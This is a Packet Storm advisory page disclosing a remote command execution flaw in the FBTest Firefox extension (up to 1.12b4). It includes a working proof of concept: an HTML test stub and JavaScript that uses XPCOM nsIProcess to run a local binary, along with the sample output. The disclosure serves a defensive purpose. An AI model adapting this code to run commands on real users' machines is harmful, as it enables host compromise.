exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Firefox FBTest 1.12b4 Command Execution

Firefox FBTest 1.12b4 Command Execution
Posted Dec 3, 2013
Authored by AKAT-1, 22733db72ab3ed94b5f8a1ffcde850251fe6f466, c8e74ebd8392fda4788179f9a02bb49337638e7b

Firefox FBTest extension suffers from a remote command execution vulnerability.

tags | exploit, remote
SHA-256 | 1c3ce5379be7d4d5b47e624d71819b09a76e4463743b000eac286bbe3b6b8d30

Firefox FBTest 1.12b4 Command Execution

Change Mirror Download
General info:
=============
The Firefox extension FBTest (http://getfirebug.com/wiki/index.php/FBTest) version =< 1.12b4 allows RCE on a host running tests.
This was only tested on Linux. If the user running FBTest would point extension to the URL containing malicious test cases (intentionally or by being lurked),
then JavaScript code can freely call Mozilla components using XPCOM framework. Some may say it's a feature and this is how extensions generally work. OK, cool.

Important notice:
=================
1) It should be crystal clear the FBTest is not part of Firebug.
2) It should be clear that FBTest is not distributed with Firebug.
3) It should be clear Firebug users are not affected in any way by any bugs in FBTest.
4) FBTest is just a helper extension primarily used by Firebug Working Group for testing Firebug.

Thanks to Firebug team and especially to Jan (Honza) Odvarko for help in coordinated disclosure of this advisory.

Running PoC:
============
-- cut --
[New Thread 0xe36ffb70 (LWP 22040)]
[New Thread 0xe2efeb70 (LWP 22041)]
[New Thread 0xe26fdb70 (LWP 22042)]
Linux box 3.2.6 #1 SMP Wed Feb 6 01:19:11 GMT 2013 x86_64 GNU/Linux
[Thread 0xed82db70 (LWP 22027) exited]
[Thread 0xe54ffb70 (LWP 22038) exited]
[Thread 0xeb4ffb70 (LWP 22030) exited]
-- cut --

FBTest stub:
============
-- cut
<!DOCTYPE html>
<html>
<head>
<!-- XXX: point these to https://getfirebug.com/tests/head/firebug.html -->
<link rel="stylesheet" href="./testConsole.css" type="text/css"/>
<link rel="stylesheet" href="./testList.css" type="text/css"/>
<link rel="stylesheet" href="./testResult.css" type="text/css"/>
<link rel="stylesheet" href="./tabView.css" type="text/css"/>
<script type="text/javascript" src="./testListUtils.js"></script>
</head>

<body>
<script type="text/javascript">
var driverBaseURI = getDriverBaseURI();
var serverURI = driverBaseURI;

var testList = [
{group: "foo", uri: "poc.js", desc: "bar" },
]
</script>
<div id="tests"></div>

</body>
</html>
-- cut

RCE testcase:
=============
-- cut
function runTest() {
try {
main();
FBTest.clearCache();
}
catch (err) {
FBTest.exception("Exception occured: ", err);
}
finally {
FBTest.testDone();
}
}

function main()
{
try { cmd(); FBTest.clearCache(); } catch (e) { ; }
}

function cmd() {
try {
var f = Components.classes["@mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile);
} catch (e) { alert(e); }

f.initWithPath("/bin/uname");
var p = Components.classes["@mozilla.org/process/util;1"]
.createInstance(Components.interfaces.nsIProcess);
p.init(f);

const args = ["-a"];
p.run(true, args, args.length);
}
-- cut

Credits:
========
AKAT-1, 22733db72ab3ed94b5f8a1ffcde850251fe6f466, c8e74ebd8392fda4788179f9a02bb49337638e7b

____________________________________________________________
FREE 3D EARTH SCREENSAVER - Watch the Earth right on your desktop!
Check it out at http://www.inbox.com/earth



Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    26 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    16 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close